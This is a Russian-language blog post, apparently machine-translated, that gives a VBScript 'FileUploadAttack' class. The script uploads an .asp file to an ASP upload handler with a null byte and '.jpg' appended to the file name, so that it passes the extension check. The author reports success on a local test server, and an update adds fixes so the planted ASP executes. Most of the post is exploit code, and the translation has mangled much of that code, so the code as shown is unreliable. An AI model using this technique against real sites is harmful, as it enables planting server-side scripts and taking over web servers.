Некоторые скрипты в этой статье являются оскорбительными и предназначены только для изучения и исследования. Пожалуйста, используйте их в законных и разумных пределах. Я не несу ответственности за причиненные убытки и не предоставляю технических рекомендаций по хакерским атакам.
Демон упомянул эту проблему сегодня, и это напомнило мне статью, которую я видел ранее «Автоматическая загрузка файлов с помощью IE+ADO без взаимодействия с пользователем — VBSscript». В этой статье приведен пример локального неинтерактивного сценария автоматической загрузки. Исходный сценарий использует компонент InternetExplorer.Application. Я переписал его и использовал WinHttp.WinHttpRequest.5.1 для достижения аналогичной функции. Подробнее об использовании этого компонента см. в «Справочнике по объекту WinHttpRequest».
Скопируйте код следующим образом:Option Explicit
Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f = Ничего не
установлено fso = Ничего не
завершает функцию
' Код изменен с http://www.motobit.com/tips/detpg_uploadvbsie/
Class FileUploadAttack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
Набор m_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'Информация в заголовке поля формы.
Функция mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'template Для составного заголовка.
MPTemplate = Content-Disposition: данные формы; имя = {поле};
filename={file} + vbCrLf + _
Content-Type: {ct} + vbCrLf + vbCrLf
Dim Out
Out = replace(MPTemplate, {field}, FieldName)
Out = replace(Out, {file}, FileName)
mpFields = replace( Out, {ct}, ContentType)
End Function
'Преобразует строку OLE в многобайтовую строку
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'Построение документа multipart/form-data с содержимым файла и информацией заголовка
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = application/upload
'Две части содержимого файла в данных многочастной формы
Pre = -- + Boundary +. vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'Построение данных формы с использованием двоичного поля набора записей
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append b, adLongVarBinary, _
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Преобразовать строковое значение Pre в двоичные данные
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'Преобразовать строковое значение Po в двоичные данные
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Join Pre + FileContents + Po двоичные данные
RS(b).AppendChunk (Pre )
RS(b).AppendChunk (FileContents)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
End Function
Открытая функция sendFile(fileName)
Const Boundary = -----------------------------------------0123456789012
m_objWinHttp .Open POST, m_strUrl, False
m_objWinHttp.setRequestHeader Content-Type, _
multipart/form-data; + Boundary
Dim FileContents, FormData
'Get исходный файл Как двоичные данные.
FileContents = file_get_contents(FileName)
'Следующее создает вредоносное расширение файла Chr(0) & .jpg
'Создание документа multipart/form-data
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0). ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
Конечная функция
Открытая функция getText()
getText = m_objWinHttp.ResponseText
Конечная функция
Функцияконечного класса
VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUploadAttack
'Необходимо изменить следующее содержимое на соответствующее содержимое
' URL-адрес загрузки
fileUpload.setUrl http://localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'Имя поля формы загрузки
' Путь к файлу, который будет загружен.
Если fileUpload.sendFile(E:/projects/asp/index.asp)=200 Тогда
MsgBox успешно загружен и fileUpload.getText()
Иначе
MsgBox не удалось завершить,
если
установлено fileUpload = Ничего
Конецвызова
функции
Функция загрузкиWScript.Quit(VBMain())
— это простая загрузка файлов ASP, найденных в Интернете, а затем добавление к GetFileExtensionName, которое я описал в статье «Происхождение CHR(0) в ASP/VBScript и проблемы безопасности». он приносит» Определите, является ли расширение jpg.
Результаты теста: загрузка asp вручную, не удалось использовать приведенный выше сценарий атаки для загрузки файлов asp, успешно! В каталоге загрузки действительно есть файл asp. Доступ к этому файлу asp также можно получить через URL-адрес браузера, но странно то, что на дисплее ничего не отображается. Может быть, это проблема с версией IIS? вернуть двоичный поток файла? Хорошо, давайте пока оставим этот вопрос здесь. Есть и другие дела, так что давайте сначала уйдем с дороги.
Все экспериментальные пакеты кода можно скачать здесь upload.zip (ошибки в коде см. в инструкциях по обновлению ниже).
Обновлено 25 декабря 2011 г.
По отзывам всех, загруженный файл получил название Unicode Little. Проблема с кодированием с порядком байтов, прежде всего, извините, потому что в то время я был очень ленив. Основная ссылка на код предоставлена иностранцем, и иностранец объяснил функцию GetFile для получения двоичных данных файла. Я не смог найти реализацию. этой функции, и мне было слишком лень выполнять двоичное чтение, поэтому я просто сделал это. File_get_contents получает текстовые данные. Оказывается, с этим действительно есть проблема. Позвольте мне объяснить меры по исправлению ситуации ниже. ленивое и прямое преобразование текстовых данных в двоичные данные на существующей основе. Используя компонент ADODB.Stream, функция выглядит следующим образом:
Скопируйте код. Код выглядит следующим образом:
'Преобразуйте строку str указанного набора символов в двоичную
функцию strtobin(str, charset)
с помощью WSH.CreateObject(ADODB.Stream)
. Тип = 2
.Режим = 3
.Открыть
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Close
End с
функцией End
. Затем измените строку 106 приведенного выше кода на следующую (прочитайте текст в ASCII):
Скопируйте код следующим образом:
FileContents = strtobin(file_get_contents(FileName), ASCII)
Файл ASP, загруженный после этого изменения, обычно имеет вид закодированный файл, а затем браузер обращается к этому файлу, вы можете видеть, что ASP успешно анализируется.
Однако это кажется немного многословным. На самом деле вы можете напрямую открыть файл в двоичном формате и вернуть данные. Здесь есть два шага: 1. Считать файл в текстовом режиме. 2. Преобразовать текст в двоичные данные. Одношаговый код может ссылаться на следующую функцию, которая считывает данные файла в двоичном режиме Byte():
Скопируйте код следующим образом:
'Возвращает содержимое файла в виде двоичных данных.
Функция GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB) .Stream)
Stream.Type = 1 'Binary
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End
Я не буду писать более оптимизированный кодфункции
. Он в основном объясняет идею загрузки. Если вы хотите получить полную реализацию загрузки, вы можете обратиться к «Файлу загрузки POST моделирования VBS».